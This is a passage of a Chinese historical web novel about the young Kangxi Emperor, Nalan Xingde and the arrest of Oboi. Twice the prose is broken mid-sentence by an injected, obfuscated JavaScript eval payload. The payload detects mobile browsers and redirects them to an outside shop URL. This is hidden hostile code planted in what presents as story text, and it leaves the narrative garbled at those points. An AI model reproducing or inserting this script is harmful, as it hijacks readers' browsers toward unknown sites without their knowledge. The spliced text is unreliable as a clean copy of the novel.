能够……实现吗? * 瓜尔佳府邸。 朴尔普大人一见纳兰性德登门拜访,大喜。 “贤婿。”忍不住就这么叫了一声。 “啊?”容若露出了猝不及防的表情。 “本官的意思是:得‘闲’多来我府上一‘叙’。” “哦。” “你可是来见小女云辞?” “不是,容若有几句话想对朴尔普大人说。” “跟本官说也一样,你说吧!” “鳌拜大人未朝贺皇上,是一过而非一罪,照着老汗王努尔哈赤厚待功臣的祖训,不至于下罪。鳌拜大人勾结蒙古兵马之事,纯属子虚乌有,容若会告知皇上始末,这事鳌拜大人无罪。” “那就好,不然作为瓜尔佳氏的宗亲,可要仔细应对才能保全家中上下,‘贤婿’你说是吗?” “朴尔普大人,请叫‘纳兰性德’或是‘容若’就好。” “本官之所以想把女儿云辞嫁给你,并不是只在于门第,更是在于你的品格。仔细想想,云辞跟别的八旗格格相处不来,容若你跟八旗世子似有隔阂,又何其类似?” “云辞格格喜欢西洋文化,大人府中可见诸多西洋摆设和家具,容若觉得极好,大清需要这样的望族。若是大人可以接受汉人为婿,想必只会给府上添彩而不会给府上抹黑,容若知道云辞格格跟如意馆画师合得来,所以才说出这些话。请大人酌情成全。” “汉学这东西,有你的文章就足够,无需多叫一个汉人来充当我瓜尔佳一家的门面。本官问你,禹之鼎要是入我家为婿,能够我家带来什么好处?” “除了让云辞格格得到幸福以外,没有其他联姻互利上面的关系。” “你不是清楚的很吗?”朴尔普问,“你是明珠大人的长公子、一块前途无量的珠玉;禹之鼎是破落户出身的汉人,顶多就是会画画,画的画能够被宫廷典藏,除此之外,他还能干什么?” “容若只是觉得:男女之间结成夫妻,两情相悦比父母之命更重要。” “容若你不一样,无论是谁嫁给你,都会得到幸福。如果她得不到幸福,那也是她的不是、她不好。” 容若从瓜尔佳府中出来,紧了紧身上的斗篷。 自己这一趟,明明只是想跟朴尔普大人说鳌拜之事,好让云辞对此有个底,但是本末倒置,反而是聊多了男女婚嫁之事。 算了,传达之意已经尽到,还是赶快回自己家吧。 不然,阿玛和额娘该担心了。 * 容若午后才回到家中。 一看见停在府外的车马,他就知道顾问行顾总管来了。 去见顾总管之前,明珠把容若叫到了房中。 “儿啊,你今日去城楼观望那支蒙古兵马,发现了什么要紧的端倪没有?” “有许多,但是只先跟阿玛说一句最要紧的话:徐乾学此人,宜避不宜交。” “日后你参加科举,卷子没准就是他阅。” “儿知道,所以才提醒阿玛。” “那你自己小心,只可将徐乾学当成文字之师,而不可将他当作良师。” “阿玛也是,官场多艰,怕的不是墙头草,而是依附索党、依附明党之后,自成一派的倒戈向索党、向明党之人。” “好,阿玛知道了。你今日辛苦,一会去皇宫的路上,好好把在皇上面前该说的和不该说的事情都捋一捋,这边阿玛也会先做着提防徐乾学的对策。” 容若朝明珠点了点头。 走向了顾总管候着的客厅。 * 书房之中。 纳兰对玄烨行了君臣之礼,然后照着玄烨的意思来到了他身边,一起看一幅画。 玄烨道:“你叫朕久等,朕就叫了曹寅和禹之鼎先过来陪着。” 不等纳兰有所反应,顾总管就先一步回话道:“是奴才办事不力。求万岁爷开恩。” 玄烨往外头一指:“出去外头候着,不许任何人进来。” 顾总管应了一声“是”,一甩拂尘,让其他太监和宫女一并退下了。 “禹之鼎说自己五日三夜未眠,给朕画了这幅《康熙皇帝接见蒙古王公图》,纳兰你来看看怎么样?” 纳兰仔细观摩了画好一会儿,才得出结论:“除去场面的虚实本身,臣认为:皇上英名可成。” “是吗?”玄烨龙颜大悦,“朕打算后天就建功立业,一击拿下鳌拜。” “好!”纳兰神色稳妥,“皇上事成,是臣生辰前最大的可喜可贺之事。” 曹寅在纳兰耳边提醒道:“纳兰你应该反应的激烈一些,要多惊讶有多惊讶,要多么直言相劝有多么直言想劝,皇上不正等着吃这一套吗?” “预料之中的事情,”纳兰奇怪地看着曹寅,“我没什么好胆战心惊的呀!” “你俩嘀咕什么?”玄烨一把在椅子上坐下,“朕说你们三个,朕后天是要干一件大事,就不能给朕一些正常人该有的反应吗?” 禹之鼎忽然往地上一跪,一脸认真道:“启禀皇上,臣不必瞒着,臣喜欢鳌拜的堂侄女官云辞,若是接下来商议如何铲除鳌拜之事,臣应当回避才是。” “混账!”玄烨气道,“国事当先,情字为末。你要是辜负了朕的信任,跑去给鳌拜的堂侄女通风报信,你还算是个忠臣吗?” 禹之鼎咬了咬嘴唇,“那皇上想要臣怎么样?” “你给朕站回原位去!”玄烨勒令道,“朕擒拿鳌拜当日,曹寅在外头埋伏,纳兰在家里呆着,身边就只留下你一人陪伴。” 禹之鼎的双手握成了紧实的拳头,“皇上的意思是,叫臣亲眼看着云辞的堂伯父被拿下?” 玄烨冷问:“怎么?你不想见证这光载史册的大场面吗?” 禹之鼎恨恨道:“臣即便是从头看到尾,也不会在云辞格格面前提半个字!” “官云辞对朕大不敬,说朕没有自己拿主意的本事、不具备下定战略的眼光。”玄烨记仇道,“要不是纳兰保她和保她一家,朕时时刻刻都能拿一条理由出来,让她一家跟鳌拜同罪。” 禹之鼎拿起桌上的墨盘,正要往《康熙皇帝接见蒙古王公图》上一摔,被曹寅拦了下来。 “禹兄,你可千万别为了一个女人,把这么一幅传世大作给毁了啊!”曹寅劝道,“就算是纳兰,他被皇上气的再难受,也没有在皇上面前失态过。” 玄烨侧头对曹寅一瞪,“朕什么时候气过纳兰?” 曹寅浑身震一激灵,“皇上自己不觉得,臣在旁边看的清楚罢了。” 玄烨一扫自己的陪臣:“纳兰,你自己说!” 纳兰道:“皇上何时为君,何时为友,臣分得清楚。” 禹之鼎走到玄烨正对面,与皇上目光水平相对。 他逼着自己道:“既然皇上信得过臣的胆识,那除鳌拜当日,臣就站在皇上身边,不眨一下眼睛,不动一下脚步,堂堂正正地做一个见证之人。” 玄烨一笑:“好,朕的侧臣,就是要这样的气度!” 玄烨转向纳兰,猝不及防地问他:“你给朕想出一条‘鳌拜只囚禁、不立杀’的理由来。” 纳兰才思敏捷,从容而清醒应道:“鳌拜忠于大清而不忠于君。这个理由足够吗?” 玄烨大笑。 笑的震天,也笑的凄凉。 “你们三个不要觉得朕狠绝,为了灭一个鳌拜,也对你们步步相逼。朕就是偏执,就是要自己的侧臣个个是能人,能协调、能抗压、能出策的能人!” 玄烨看向禹之鼎,“你别在心里怪朕,认为朕叫你见证那一日你就对官云辞有愧,鳌拜是她的堂伯父不是她阿玛,她要是个有眼光的八旗格格,就该在听完你的描述后,大赞朕是位明君!” 禹之鼎单手左手压着半拳未松的右臂,“臣,无话可说。” “你也一样。”玄烨忽然冲纳兰道,“要是对朕刚才的那一问答不上来,朕一样治了你的罪!” 如果说禹之鼎被玄烨气的全身是无形的火,熊熊燃烧;那么纳兰面对玄烨的态度,心中就只剩下凉,冰冰清冷。 “关于鳌拜,臣有别的事情要回话。” “说——” * “臣去城楼看过那支蒙古兵马了,得出推论有三:人员并非来自蒙古,只是被人卖通,做出蒙古骑兵的样子;人员士气不振,鳌拜经战多年,率兵打仗经验丰富,不可能看的上那些兵马,所以鳌拜为首之说不成立;朝廷应当派出军队去把那支虚张声势的兵马拿下,从他们口中问出主使。” “谁这么大胆子?”玄烨一拍桌子,“敢安排这么一出戏来欺君误国?到底想得到什么?” ——徐乾学。 纳兰没有说出那人的名字。 ——坐山观眼前虎斗,尽收后续渔翁之利。 纳兰没有说出那人的动机。 ——想进一步确立自己在士人之中的威望,想攀附党羽爬夺高位。 纳兰没有说出那人的目的。 “皇上,一个‘兵’字,不一定是武将在用,文臣也有翻弄风云的意志气。”纳兰对玄烨点到为止,“士人之弊,积存已久。” 玄烨安静地思忖了良久。 “纳兰,要是那支蒙古兵马明明与鳌拜无关,朕却要给鳌拜这条欲加之罪,你有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499364|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看法?” “臣只能说便宜了那个在幕后主谋一切的士人。他算准了自己搞出这些事情来,一切由鳌拜那块垫脚石担着,所以他在窃喜:喜自己没事,喜鳌拜活该,喜自己成全了天子。” “朕放眼大局,认为这个亏鳌拜吃定了。” “皇上应该想想,那个幕后之人为何能够调集那支兵马?以及那支兵马为什么愿意为他效力?还有,理藩院本应管理外务,为何当中无一人向皇上上报兵马之事,是否跟幕后之人做了什么交易?” “看来你是想暗示朕,那个幕后之人的身份地位不低。” “文官,略通军事,与鳌拜不和,且在大明和大清的文人圈子里面有一定份量的人,皇上应该心里有数是谁才对。” “朕知道是谁了。“玄烨有所觉悟,”但是纳兰,你不能怪朕这次要放过他。“ 纳兰道:“让鳌拜背负那个文官做的恶,合时局但不合理。” “可是那个文官的把戏选对了时机呀!”玄烨心里似乎在偷笑,“朕,就是缺这么一个理由来让鳌拜罪加一等。” “云辞格格跟我说过,”禹之鼎冲玄烨一吼,“皇上要除鳌拜可以,但不借用非正道之理据、光明正大地将鳌拜论罪,才是一国之君该有的作为。” “天无二日,有鳌拜在,朕就算不得是大清江山唯一的主人,所以不管借什么外力、不管用什么手段,朕意已决,照行不误。” “有些话皇上也许不想听,但臣还是要说。” 纳兰直言:“于佞臣,巧技除之,难免后顾之忧;于反臣,借力拔之,非能斩草除根。皇上要是按照原来的计划除鳌拜,亦可计日程功,如今却为了给鳌拜多添一条不实之罪、而故纵挑拨离间多方关系的文官,实为错行。” 玄烨呵笑一声,道:“纳兰,知道为什么八旗世子们都不愿跟你打交道吗?不是你性格不好、品格不佳,而是因为你是朕的人。他们够不上你的高度,自然排挤你。但是朕庆幸,自己这个孤家寡人竟然能够留得住像你这样的忠臣。” “皇上曾对臣说,鳌拜有三十大罪。”纳兰客观道,“可是仔细想想,鳌拜的地位不是全靠自己的战功得来的吗?在臣看来,辅政跟专权的区别,就在于鳌拜是否把康熙皇帝放在眼里:专擅处事,事后相告,是为目中无君;位高而慎,行事而晓于君,是为尊君以礼。” “朕——” 玄烨的话还未说完,就听见了禹之鼎的唾弃之声: “三十条大罪,真亏皇上罗列的出来。臣等是不是应当谢皇上:没有逼着臣等一起想别的罪名?” “你给朕住口!” “今日臣放肆不止一回了,还有什么说不得的?” 禹之鼎拿起侧桌上的一壶酒一饮,“臣没见过将鳌拜的三大奇功变成三十条大罪的皇帝。玄烨你,就是为了亲政而无所不用其极!” “住口!” “鳌拜的功绩:第一条,康熙朝,鳌拜并没有大规模征战,而是安抚前明余党投降,这是避免劳民伤财之功;第二条,鼓励开荒,调整税策,使的大清人丁兴旺,这是重农重民之功;第三条,荣光满身,未给瓜尔佳氏一族谋利益,未举荐系族之亲为官为妃,这是严于律己之功。” “你是想为鳌拜立功德碑吗?” 玄烨双目圆瞪,以迅雷不及掩耳之势从墙上一把抽出宝剑,直指禹之鼎。 曹寅赶紧为朋友求情道:“皇上,禹画师他连续作画五日未歇,心绪疯迷也不是不可能。理应立刻叫人带他回官舍去休息才是!” “来人——”玄烨冲门外大喊一声,“给朕把禹之鼎带下去。曹寅你跟着去,直到进了官舍的房间为止。” “是。”曹寅跟着两位官兵一起走出了书房。 * 玄烨交叉着双手,坐在位置上,摆出了:纳兰,现在又是只剩下你我君臣二人了的模样。 玄烨拿起禹之鼎喝了一半的酒壶往杯子里倒酒,“纳兰,你喝吗?” 纳兰拿起杯子,将酒一饮而尽,“臣应当理解皇上的心情,所以陪着皇上喝。” 玄烨跟纳兰碰了一下杯子,猛灌一口,“朕高兴,朕越是生气就越是高兴,这样的状态,你懂吗?” “懂。”纳兰把桌案上的画轴卷了起来,改铺了一张白纸。 “鳌拜之事,说白了是皇上个人成长路上的大事。臣想明白了,皇上只想体验一把真正意义上的成功,那就是把朝纲的说话权重归手中,而不在于整个擒贼的过程有多么惊天动地、以及处理逆贼的方式参杂过多少难分的黑白。“ “罢了,你别看朕一笑一怒、一酒一狂,”玄烨像是在闻成功的味道一般,张开双臂,感受着前方的空气,“朕的心里,笃定的很,有把握的很。怎么样?你能站在朕身边,能感受到吗?” “能。”纳兰应的简洁有力。 “皇上的心情,比御驾亲征更汹涌澎湃。因为没有硝烟的擒拿鳌拜之战,那一幕幕成功的结果,已经在皇上脑中上演过无数次了。” 玄烨又灌了一口酒,笑问纳兰:“你这家伙,为什么不早点说这些朕爱听的话?” 纳兰把空酒壶挪到一边,“臣不是逢迎皇上,而是真切地与皇上有所共感,才出此言。” “朕不能多留你,你回明珠身边去吧!”玄烨拍了拍纳兰的手背,“由此暂别,等朕亲政当日再见。” 纳兰真挚道:“今夜明灯,见骇浪与天浮;明夜明灯,观关塞与吴钩;后日明灯,臣与皇上同贺愿成之喜。” “三夜明灯,三千新年宫灯,比不上你欠朕的那个——亲手雕刻的蜡烛。”【注1】 “明明是皇上千方百计‘要’,怎么变成了是臣‘欠’皇上的?” 玄烨笑而不语。 离开前,纳兰在白纸写下“徐乾学”三个字。 “表里不一;心思缜密;才非正用;欺君误国之嫌,臣指的是他——” 【注1】玄烨向纳兰要“雕刻的蜡烛”之事,见第22章 40.第40章 翌日,索府。 一名取代了“图尔深”、名叫“布哈泰”的一等侍卫前来,传令索额图道:“皇上明日清晨擒拿鳌拜。”复补充道:“索大人你千万思虑清楚了,如何为皇上尽忠!” “这么快?”索额图没有预料到,“此时明珠父子在做什么?” 一等侍卫布哈泰道:“明珠大人已经入宫候命,纳兰公子在家中雕刻蜡烛。” “雕刻蜡烛?”图额图皱眉,“纳兰性德在玩什么把戏?” “该对索大人说的,奴才都说完了,告退。” “等等,皇上身边情况如何?” “有明珠大人和曹寅曹侍卫暗中护驾,一切平稳如常。” 等到布哈泰离开,格尔芬上前问道:“阿玛,你进宫助力皇上做大事之前,可有什么事要交待儿去做的?” 索额图比出一个隐忍的手势,“如今你大哥阿尔吉善在流放途中生死未卜,你平安就是福,不要轻举妄动。” “儿素来钦佩纳兰性德才华,年纪又与其相近,请了阿玛的意思,年后可否与其一同到国子监读书,授业于徐乾学徐先生手下?” “怎么?”一声冷笑响起,“我索额图跟明珠在朝前朝后斗的你死我活,你倒是想跟纳兰性德传出一段友谊佳话来?” 格尔芬道:“所谓大树底下好乘凉,承蒙阿玛官高,儿虽然远不及纳兰性德聪慧,但也不能有负于‘恩荫制度’【注1】不是吗?” “此事等容我细细权衡之后,再说。” “是。” * 擒拿鳌拜当日。 玄烨早早来到武英殿等候。 天微微亮,武英殿内燃着一排烛火。 明珠带领的一支得力人马、索额图精挑的五人精锐、曹寅统辖的十人精兵,正埋伏在殿外三处。那些平日里陪伴玄烨练习武术摔打的八旗子弟们,此刻正藏身于殿内的隐秘处,只等着皇上的指示,好一同合力拿下鳌拜。 画师禹之鼎站在玄烨身后,一点没有了之前的不甘与不满,而是打起了十二分精神,目视前方,坚定地做玄烨的后盾。 “商量国家大事这句话,真是放在哪个臣子身上都管用。”玄烨用没有起伏的语调道,“朕叫鳌拜一个人来,他现在就来着。” “皇上,臣在官舍睡了一宿,什么都想明白了。”禹之鼎道,“天子以身正权,不容他人执掌,纵然以巧计诛之,事成复观,可谓之正道也。” “你好好看着——”玄烨指向鳌拜来后的站立处,“朕不会强迫你把今日的场面画成画,不会叫纳兰写篇章来歌颂、也不会叫曹寅去宣扬吾皇威仪,你知道是为何吗?” “臣知道。”禹之鼎一正腰间的佩刀,“鳌拜功过各半,之前的赫赫名臣,当下的绊脚罪臣,全在皇上的一念之间。臣等三人,只需记住康熙皇帝做成了什么事,无需再论此事是如何竟成的。” “你不糊涂。” “关键时刻,臣不敢糊涂。” “好!” 说罢,玄烨从腰间拿出数颗菩提子来,放在掌心握了握,心中暗道:无论朕要面对何等惊涛骇浪,纳兰你在家中和稳顺遂就好。 * 顾问行高喊一声:“鳌拜大人到!” 玄烨眼神一使,顾问行便以交换手中拂尘的朝向为信号,让武英殿的统卫们在鳌拜每迈过一道门槛后,就将他身后的大门关闭,直到三重门都紧紧闭锁,那些统卫们才合做一股势力,分站到了武英殿正殿的大门两侧。 “臣鳌拜,前来与皇上共议国家大事。” 鳌拜照例不跪,眼里如旧不存任何把玄烨当天子的神色。 “跪下——”禹之鼎威严一喝,“康熙皇帝是大清天子,臣子理应行跪拜之礼。” “顺治皇帝在位之时,就已经免了臣的跪。”鳌拜霸气道,“康熙皇帝如今,何德何能在顺治皇帝之上?若有,大声说出,让臣鳌拜服气再跪不迟!” 玄烨道:“好,朕免你行礼。朕今日找你来,是想跟你商量理藩院玩忽职守、是否应当大惩三位长官之事。” “臣看皇上的本意并非在此。”鳌拜大笑,“皇上要惩的,怕不是理藩院的三位长官,而是我鳌拜吧?” 玄烨拍案而起,怒斥道: “鳌拜,朕忍你八年,今日既然你有此觉悟,朕就好好跟你清算!” “你把持朝政,凌驾君主之上,为所欲为,目无尊卑,此最大罪也;你滥动生杀大权,视任命为草芥,勾结蒙古兵马,兴武欲图乱政,布局筹谋夺政,此第二大罪也;你圈地害民,掠夺他人私产,违背大清祖训与国策,此第三大罪也;你权高位重,结党营私,倒乱朝纲,颠覆法纪,使得忠臣无用武之地、佞臣横行霸道,此第四大罪也;你心怀不轨,亲信遍布,不法之行常有,几欲让大清江山成为自己的囊中之物,此第五大罪也!” “朕今日,就要拿下你这个大奸大恶之徒,将你革职论罪,昭告天下。” “来人,立即擒了鳌拜——” 玄烨一声令下,数十个精干的八旗子弟从殿内的四面走出,个持兵器,将鳌拜团团围住。 鳌拜脸上毫无惧色,“就凭这些小东西,皇上就敢对我鳌拜说出一个‘擒’字?未免太过天真!” 玄烨发令:“拿下——” 那些八旗子弟就跟鳌拜对打了起来,岂料鳌拜虽然以一挑众,但是功夫实在是了得,才没有一会儿,就已经将五员他口中的“小东西”打倒在地,五脏六腑俱碎,动弹不得。 玄烨泰山崩于眼前而不惊,笔直坐在宝座之上,正色看着眼前的一切。 禹之鼎护驾在侧,不敢有一丝懈怠,他只知道:一旦鳌拜杀到君前,自己哪怕是豁出性命,也要救下皇上。 又是一阵交锋,八旗子弟中已经有三分之二的人被鳌拜打垮。 玄烨只见:鳌拜忽然脱下冬日的厚朝服,露出了先帝爷赏赐的黄马甲来。而在黄马甲之下,竟然是一重可以抵抗铁枪利剑的廪实盔甲内胆! 玄烨把茶杯往地上一摔,抡起袖子,摆出准备亲自上阵的模样。 鳌拜冲天子投去一个轻蔑的眼神,然后对准了胸口、将一名八旗子弟喷血踢倒在地。 禹之鼎在玄烨耳边道:“皇上,且忍!” 玄烨这才坐回宝座,紧锁眉头。 明珠反应敏锐,立刻对自己所率领的精兵做出指示:“入殿救驾!” 同时,明珠也在心里祈祷:容若啊,你可千万别来。 另一边,索额图见明珠的人已经出动,也马上对自己身后的五人下令:“做好殉职的觉悟,去保护皇上!” 看着那五人的迅雷而行的背影,索额图心里想的是: 我儿格尔芬,要是能够随了那五人一起在皇上面前立下救驾奇功,岂非好事?没带格尔芬同赴此境,真是我这个阿玛的失策! * 殿内几番厮杀,电光石火,声如烈马。 玄烨直立在宝座之前,作为天子的威仪始终没有改变过。 到最后,乃是明珠、索额图、曹寅的三方兵力一同,架起两顶长长的、铜制的步梯,从上而下,一先一后,只这么一瞬间就稳稳地套在了鳌拜身上,才将那“满清第一勇士”制伏在地。 鳌拜身陷铜梯之内,双腿和双臂压根动弹不得。 三方兵力死死地拽住了上下的两顶重梯,不给鳌拜任何回旋的余地。 而在武英殿之外,早已响起一片厮杀之声,善变的小人班布尔善、九门提督吴大人、太皇太后孝庄派出的朝廷猛将、忠于鳌拜的亲信们……打的是昏天黑地,不见将升的旭日。 鳌拜大笑:“康熙皇帝,你说外头相争相斗的那些人,谁在等着弑君?谁在尽忠护驾啊?” “给朕把鳌拜捆起来!”玄烨当机立断地下令,“忠奸朕自会分辨,无需鳌拜来取笑!” 明珠一挥手,数名统卫上前,用了加粗的铁链,牢牢将鳌拜锁于殿内的漆红色顶梁柱之前。 玄烨定神一想: 班布尔善和九门提督,都不可能信。 唯有皇祖母孝庄的人可信,而这当中,听孝庄太皇太后的话办事的人,就只有明珠。 “明珠,你说接下来朕应当如何?” “回皇上,臣以为:鳌拜已擒,等到武英殿外的战事平息,应当立刻将班布尔善和九门提督一同押往刑部问审!” “好,朕任命明珠为刑部尚书,即日起接手掌管刑部,一并问审殿外厮杀之党和重提重审过往冤假错案!” “臣明珠,叩谢皇恩。” 明珠向康熙皇帝一拜。 * 战事平息,班布尔善和九门提督一同入内。 跪地的二人在等待康熙皇帝的论功行赏时,明珠站出来大声道: “尔等反复无常,欺弄君心如儿戏!此番大打出手于天子擒拿鳌拜之间,居心叵测,忠非忠,恶非恶,到底是真心弃鳌拜而去、一心拥护少年天子;还是观望此战胜负、谁赢站谁那一边,就让本官来做后续大审吧!” “来人,将班布尔善和吴大人押入天牢——” 等到班布尔善和九门提督被带下去后。 明珠向皇上奏请道:“鳌拜罪大恶极,臣以为:其不可立杀,而应关入牢中,囚禁至死!” 鳌拜恨道: “我是大清功臣,不杀我而辱我,明珠你好会投中天子的心思。看来我鳌拜的堂侄女官云辞,‘嫁谁都不愿嫁纳兰性德’之言,是何等清明!” “明珠你等着吧,若是我鳌拜六十岁死在狱中,那我咒你的儿子纳兰性德活不过三十岁,折寿我鳌拜一半而死!!” “敢咒纳兰?”玄烨怒火中烧,“罪加一等,把鳌拜押下去,打入死牢!” 在铁锁链的凄冷声响中,鳌拜仰天长笑。 他笑大清笑天子、笑索党明党、笑天地笑日月,也笑自己。 茫茫人生归途,不过是如此下场而已。曾经的人前呼风唤雨与如今的沦为阶下囚,只是一树的枯荣罢了。明明灭灭自有时,祸福相倚天注定,人这一辈子,不正是这两句话吗? 虽然鳌拜被带走了,但是明珠心里还是被气的不轻,只怕鳌拜一语成真,容若三十而亡。 索额图在明珠耳边冷道:“唐有大才子王勃遭天妒而早死,明珠大人你可要给自己积点德,别让大公子这一程人生……走的太短!” 明珠切齿不语。 * “顾总管,给朕开路。”玄烨一正朝冠,指向前方,“朕现在上朝!” 顾问行对着青天三甩九威拂尘,正了天子天威之后,高喊:“皇上摆驾朝堂——” 此话一落音,统卫们纷纷列驾于武英殿的三重大门两侧,恭请少年天子而出。 玄烨昂首挺胸,阔步向前而走。 明珠、索额图两位权臣紧跟在后,拥护天子而行。 不知何时,皇宫之中响起了节奏明快的朝歌之声。 随着那胜利之音而来的,是破云而出的崭新红日,万丈光芒,照射大地。 “康熙皇帝上朝——” 嘹亮的捷报沿途凯奏。 * 朗朗乾空之下,纳兰容若站在远处的雕栏玉砌后面,眺望玄烨走向大殿上朝的身影。 他在心中道: 皇上破难定局,除掉一石,归权亲政,是臣之所盼、太皇太后之所盼、满朝文武之盼,可喜可贺。 悬首翘望,大清盛世不衰,洪福齐歌,在一代明君的统治下,国力日强,经济日荣,农事日益。 诚挚盼切,皇上在位期间,四海归心,天下苍生丰衣足食、泱泱疆域无战事,继往开来,开创万众盛赞之世。 空中有一对祥瑞的九天玄鸟飞过,掉落一片七彩羽毛。 纳兰接那片羽毛在手中,微笑着看已经像个大人一般、担当满怀、豪情壮志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518290|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地迈向朝堂的康熙皇帝。 羽落掌心,是吉兆。 荣耀之翼,华美而庄重。 这是象征着:纳兰容若身为侧臣,要守护皇上、守护皇权、守护大清的意思吧? * 康熙皇帝步入太和殿。 群臣俯首跪拜道:“吾皇万岁万岁万万岁。” 康熙皇帝威严道:“众卿平身——” “朕,此次下定决心剿灭乱臣贼子鳌拜,已经事成。其中,明珠和索额图功不可没,前者调任刑部尚书,后者升任国史院大学士。” 明珠和索额图同时叩谢皇恩道:“臣等恭喜皇上大愿得证,收拾鳌拜,从此独当一面治国安邦,乃是我大清之幸!” 康熙皇帝从龙椅上站起,气势恢宏道: “朕的亲政之路,从今日开始,无需再被任何一个辅政大臣左右,不会再被任何一个佞臣掣肘,大清的盛世画卷,现今才刚刚展开。” “除去鳌拜,非除朕心头之恨,唯有将大清从上而下地拨乱反正,在新年之中开个好头,吏治才能不腐败、臣心才能不动摇、百姓才能不造反。朕向这个天下承诺:康熙朝的天下,一定不会输给太祖皇帝、太宗皇帝、顺治皇帝,朕只会比列祖列宗都强!” 群臣齐声道:“臣等与皇上一同,共创大清盛世。” 太和殿内外,一派君明臣贤、君臣协力的大好气象。 康熙皇帝的铿锵之音,文武百官们的信誓保证,似乎承载着这个王朝气贯长虹的大梦,响彻云霄。 * 退朝后。 明珠在往回走的半途的雕栏边碰见了儿子。 “儿给阿玛请安。” 还是个温润有礼的公子。 “容若,你怎么没在家里呆着?” 明珠微讶,不知道儿子在外头站了多久。 “儿,放心不下皇上和大清,也放心不下阿玛,所以进皇宫来了。不能去武英殿,就一直在皇上上朝和下朝的远侧路旁候着。” “难得你一片忠心和一片孝心。” “阿玛顺遂就好。”容若拉着明珠的手往宫门走,“额娘一直在佛堂祈福,祈祷阿玛武运昌盛,助力擒贼有功。阿玛应快回去向额娘报个平安。” “你呢?回家还是去见皇上?” “儿在阿玛身侧、伴阿玛走着,当然是回家。” “阿玛这么问,真是糊涂了。”明珠揉了揉自己的太阳穴,“儿啊……” 明珠忽然把容若拥在怀中,几乎要流出眼泪来。 ——我的儿子,大清的至宝,皇帝的陪臣,独一无二的纳兰容若。 ——谁敢碰他、害他、咒他,我就让谁死无葬身之地。 “阿玛……怎么了?” 明珠恨恨地看向天牢方向,几乎忍不住就要把暗藏在长筒靴中的短刀拔出来,冲向天牢去一刺结果了鳌拜! “你我父子为什么要留鳌拜的命?” “这无关鳌拜的功过,是天子的意思。顺天子之意而为,儿与阿玛没有左右时局。” “鳌拜今年六十岁,你说他该不该死?” “儿只能说,要是天子能够体会你我父子的心情,定会改变主意:对鳌拜从‘留命’改为‘赐死’。” “君心多变归君心多变!”明珠恨意难平,“可鳌拜他对你——” 对你毫不留情地咒骂。 容若单手挡住明珠的嘴,“阿玛别说,新的一年开端,生辰将至,儿想为自己求个吉祥如意。” 明珠做了罢。 “你的生日,阿玛和额娘陪你一起好好过。”明珠跟儿子一并坐进了马车中,“有没有特别想要的生日贺礼?” “可否考阿玛一个难题?”容若从身上拿出那根九天玄鸟的羽毛,“儿想要经阿玛之手的此物作为生日贺礼,可好?” “好。”明珠看着容若,应了下来。 ——容若你呢,就是不肯给我明珠一个做普通的父亲的机会。 ——寻常人家的父亲,给儿子送生日贺礼何须前瞻后想?寻常人家的儿子过生日,哪会小心翼翼地盼着一份带着父亲的态度的答卷? 但是阿玛还是疼惜这样的你。 疼惜。一个无论是想到或是说出,都让人带着难过的词汇。 公子。一个怎么都挑不出错的,天生才貌文武兼得的完人。 * 养心殿。 玄烨打开了桌面上的一个精雅的木盒子。 “顾总管你说,纳兰雕刻的蜡烛只有拇指大小,能燃烧多久?” “万岁爷,您说这又不是拜堂之时用的一对红烛,显高显大做什么?” “朕怎么觉得:自己腰间的玉佩,都没有这只蜡烛的图样雕刻的精美?” “纳兰公子情怀雅致、心思细腻,这巧手做出来的东西,自然是值得夸。但是内务府造办处的工匠们,可经不起万岁爷您的问罪。” 玄烨问:“朕在太和殿主持朝政期间,这个装雕烛的盒子,是哪个太监在养心殿接下的?” 一个年轻太监从侧面出来,跪地道: “回皇上,奴才梁九功【注2】,师从顾问行顾总管,一并跟着干爹伺候万岁爷。跨年之夜,领纳兰公子去弘德殿吃夜宵、去重华宫写文章的人,是奴才;大年初一,给纳兰公子准备苹果、给万岁爷泡普洱茶的人,也是奴才!” “朕知道了,跟着顾总管好好当差,以后有你出头的一天。” “奴才谢万岁爷!” 梁九功给康熙皇帝磕了个头。 吃点心的时候。 玄烨的眼中忽然闪过一道寒光。 ——鳌拜,你敢咒纳兰,你该死! 【注1】恩荫制度:清代制度规定,凡在京四品以上,在外三品以上现任官,都可以荫一子入仕,或进入国子监学习。 【注2】梁九功梁公公初次登场(被提及),见第37章。 41.第41章 明府。饭桌之上。 除了明珠一家人外,惠儿同在。 明珠郑重道:“皇上对我的刑部尚书的任命已经下来了。” 觉罗氏、纳兰三兄弟、惠儿同时道:“恭喜老爷/阿玛/伯父。” “刑部是六部之重,就跟坤宁宫是六宫之首一样,我明珠要是能在任上做出些大成绩来,不愁青云之路顺畅。” “老爷,鳌拜和理藩院的案子,是你审还是皇上亲审?” “夫人,你口中的两个案子,其实容若大抵探全了眉目,看他想告诉我这个阿玛多一些,还是告诉皇上多一些罢了。” 揆叙问:“容若哥哥肯定是向着阿玛的对不对?” 容若对弟弟温和叮嘱道:“小揆叙,长兄告诉你,你以后如果也像长兄一样成了皇上身边的陪臣,考虑事情不能失衡:既要稳住皇上的威严,又要让阿玛有功可立知道吗?” 揆叙眨了眨眼睛:“那是不是很难?” “多想想,为家为国想想。”容若用指关节轻敲自己的额头,“就不难。” 容若对明珠道: 